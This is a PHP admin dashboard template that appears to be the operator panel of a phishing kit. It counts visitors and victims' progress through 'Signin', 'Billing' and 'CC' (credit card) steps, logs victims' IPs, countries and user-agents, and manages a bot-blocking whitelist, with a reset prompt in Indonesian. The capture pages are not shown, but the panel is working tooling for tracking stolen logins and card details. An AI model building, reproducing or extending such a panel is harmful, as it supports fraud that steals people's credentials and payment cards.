<?php
$logsReset = isset($_SESSION['admin_logs_reset']) ? $_SESSION['admin_logs_reset'] : null;
unset($_SESSION['admin_logs_reset']);
$whitelistCleared = isset($_SESSION['admin_whitelist_cleared']) ? $_SESSION['admin_whitelist_cleared'] : null;
unset($_SESSION['admin_whitelist_cleared']);
$whitelistCount = function_exists('count_whitelist_ips') ? count_whitelist_ips() : 0;
$stats = function_exists('get_stats') ? get_stats() : ['visitor' => 0, 'signin' => 0, 'billing' => 0, 'cc' => 0, 'done' => 0, 'blocked_bot' => 0];
$logs = function_exists('get_visitor_logs') ? get_visitor_logs(500) : [];
$q = trim($_GET['step'] ?? '');
if ($q !== '') {
    $logs = array_filter($logs, function($r) use ($q) {
        return isset($r['step']) && stripos($r['step'], $q) !== false;
    });
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Admin – Dashboard</title>
    <style>
        * { box-sizing: border-box; }
        body { font-family: system-ui, -apple-system, sans-serif; margin: 0; background: #1a1a2e; color: #eee; padding: 0; min-height: 100vh; }
        a { color: #e94560; text-decoration: none; }
        a:hover { text-decoration: underline; }
        .wrap { max-width: 1200px; margin: 0 auto; padding: 1.5rem; }
        .header { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 1rem; padding-bottom: 1.25rem; margin-bottom: 1.5rem; border-bottom: 1px solid #0f3460; }
        .header h1 { font-size: 1.5rem; font-weight: 600; margin: 0; color: #fff; }
        .header-nav { display: flex; align-items: center; gap: 0.75rem; font-size: 0.9rem; flex-wrap: wrap; }
        .header-nav a { color: #a0e0ff; }
        .header-nav .sep { color: #3a5077; user-select: none; }
        .btn-visit { display: inline-block; background: #2ed573; color: #0d2137; padding: 0.4rem 0.9rem; border-radius: 6px; font-weight: 600; font-size: 0.85rem; }
        .btn-visit:hover { background: #26c968; text-decoration: none; color: #0d2137; }
        .section-title { font-size: 0.85rem; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; color: #6b7a9e; margin: 0 0 1rem; }
        .msg { padding: 0.75rem 1rem; border-radius: 8px; margin-bottom: 1rem; font-size: 0.9rem; }
        .msg.ok { background: #0f3460; color: #a0e0ff; }
        .stats-row { display: grid; grid-template-columns: repeat(7, 1fr); gap: 0.75rem; margin-bottom: 1rem; }
        @media (max-width: 900px) { .stats-row { grid-template-columns: repeat(4, 1fr); } }
        @media (max-width: 500px) { .stats-row { grid-template-columns: repeat(2, 1fr); } }
        .stat-card { background: #16213e; padding: 1.25rem 1rem; border-radius: 10px; text-align: center; border: 1px solid #1e2d4a; }
        .stat-card .num { display: block; font-size: 1.75rem; font-weight: 700; color: #e94560; line-height: 1.2; }
        .stat-card .label { font-size: 0.75rem; color: #8a9ab5; margin-top: 0.35rem; text-transform: uppercase; letter-spacing: 0.03em; }
        .actions { margin-bottom: 1.5rem; }
        .btn-reset { background: #0f3460; color: #a0e0ff; padding: 0.5rem 1rem; border-radius: 6px; font-size: 0.875rem; cursor: pointer; border: 1px solid #1a4a7a; }
        .btn-reset:hover { background: #1a4a7a; }
        .visitor-section { margin-top: 2rem; padding-top: 1.5rem; border-top: 1px solid #0f3460; }
        .visitor-section .section-title { margin-bottom: 0.75rem; }
        .filter { margin-bottom: 0.75rem; }
        .filter form { display: flex; gap: 0.5rem; align-items: center; flex-wrap: wrap; }
        .filter label { font-size: 0.875rem; color: #8a9ab5; }
        .filter select { padding: 0.45rem 0.75rem; border: 1px solid #0f3460; border-radius: 6px; background: #16213e; color: #fff; font-size: 0.875rem; }
        .filter button { background: #e94560; color: #fff; border: none; padding: 0.45rem 1rem; border-radius: 6px; cursor: pointer; font-size: 0.875rem; }
        .filter button:hover { background: #d63a54; }
        .count { color: #6b7a9e; font-size: 0.85rem; margin-bottom: 0.75rem; }
        table { width: 100%; border-collapse: collapse; background: #16213e; border-radius: 10px; overflow: hidden; border: 1px solid #1e2d4a; }
        th, td { padding: 0.6rem 0.9rem; text-align: left; border-bottom: 1px solid #1e2d4a; font-size: 0.875rem; }
        th { background: #0f3460; color: #a0e0ff; font-size: 0.75rem; font-weight: 600; text-transform: uppercase; letter-spacing: 0.04em; }
        tr:hover { background: #1a2a4a; }
        .ua { max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.8rem; color: #8a9ab5; }
        .step { font-weight: 600; font-size: 0.8rem; }
        .step.login { color: #7bed9f; }
        .step.billing { color: #ffa502; }
        .step.cc { color: #e94560; }
        .step.done { color: #2ed573; }
    </style>
</head>
<body>
    <div class="wrap">
        <header class="header">
            <h1>Dashboard</h1>
            <nav class="header-nav">
                <a href="<?= htmlspecialchars(admin_visit_site_url()) ?>" class="btn-visit" target="_blank" rel="noopener">Visit site</a>
                <span class="sep">|</span>
                <a href="/admin/config<?= admin_access_query_string() ?>">Edit config</a>
                <span class="sep">|</span>
                <a href="/admin/logout<?= admin_access_query_string() ?>">Logout</a>
            </nav>
        </header>

        <p class="section-title">Overview</p>
        <div class="stats-row">
            <div class="stat-card"><span class="num"><?= (int)($stats['visitor'] ?? 0) ?></span><span class="label">Visitor</span></div>
            <div class="stat-card"><span class="num"><?= (int)($stats['signin'] ?? 0) ?></span><span class="label">Signin</span></div>
            <div class="stat-card"><span class="num"><?= (int)($stats['billing'] ?? 0) ?></span><span class="label">Billing</span></div>
            <div class="stat-card"><span class="num"><?= (int)($stats['cc'] ?? 0) ?></span><span class="label">CC</span></div>
            <div class="stat-card"><span class="num"><?= (int)($stats['done'] ?? 0) ?></span><span class="label">Done</span></div>
            <div class="stat-card"><span class="num"><?= (int)($stats['blocked_bot'] ?? 0) ?></span><span class="label">Blocked Bot</span></div>
        </div>
        <div class="actions">
            <form method="post" action="/admin/reset-logs<?= admin_access_query_string() ?>" onsubmit="return confirm('Reset semua statistik (Visitor, Signin, Billing, CC, Done, Blocked Bot), tabel Visitor logs, dan Gobot whitelist?');" style="display:inline;">
                <?php if (defined('ADMIN_ACCESS_SECRET') && ADMIN_ACCESS_SECRET !== ''): ?>
                <input type="hidden" name="<?= htmlspecialchars(ADMIN_ACCESS_PARAM) ?>" value="<?= htmlspecialchars(ADMIN_ACCESS_SECRET) ?>">
                <?php endif; ?>
                <button type="submit" class="btn-reset">Reset stats</button>
            </form>
        </div>

        <?php if ($logsReset): ?>
            <div class="msg ok">Stats, Visitor logs, and Gobot whitelist reset.</div>
        <?php endif; ?>
        <?php if ($whitelistCleared): ?>
            <div class="msg ok">Gobot whitelist cleared.</div>
        <?php endif; ?>

        <section class="visitor-section">
            <h2 class="section-title">Visitor logs</h2>
            <div class="filter">
                <form method="get" action="">
                    <?php if (defined('ADMIN_ACCESS_SECRET') && ADMIN_ACCESS_SECRET !== ''): ?>
                    <input type="hidden" name="<?= htmlspecialchars(ADMIN_ACCESS_PARAM) ?>" value="<?= htmlspecialchars(ADMIN_ACCESS_SECRET) ?>">
                    <?php endif; ?>
                    <label>Step:</label>
                    <select name="step">
                        <option value="">All</option>
                        <option value="login" <?= $q === 'login' ? 'selected' : '' ?>>Login</option>
                        <option value="billing" <?= $q === 'billing' ? 'selected' : '' ?>>Billing</option>
                        <option value="cc" <?= $q === 'cc' ? 'selected' : '' ?>>CC</option>
                        <option value="done" <?= $q === 'done' ? 'selected' : '' ?>>Done</option>
                    </select>
                    <button type="submit">Filter</button>
                </form>
            </div>
            <div class="count"><?= count($logs) ?> entries</div>
            <table>
                <thead>
                    <tr>
                        <th>IP</th>
                        <th>Country</th>
                        <th>Browser</th>
                        <th>Step</th>
                        <th>Date / Time</th>
                        <th>User-Agent</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($logs as $r): ?>
                    <tr>
                        <td><?= htmlspecialchars($r['ip'] ?? '') ?></td>
                        <td><?= htmlspecialchars($r['country'] ?? '') ?></td>
                        <td><?= htmlspecialchars($r['browser'] ?? '') ?></td>
                        <td><span class="step <?= htmlspecialchars($r['step'] ?? '') ?>"><?= htmlspecialchars($r['step'] ?? '') ?></span></td>
                        <td><?= htmlspecialchars($r['at'] ?? '') ?></td>
                        <td class="ua" title="<?= htmlspecialchars($r['ua'] ?? '') ?>"><?= htmlspecialchars($r['ua'] ?? '') ?></td>
                    </tr>
                    <?php endforeach; ?>
                    <?php if (empty($logs)): ?>
                    <tr><td colspan="6" style="text-align:center;color:#a0a0a0;padding:2rem;">No visitor logs yet.</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </section>
    </div>
</body>
</html>
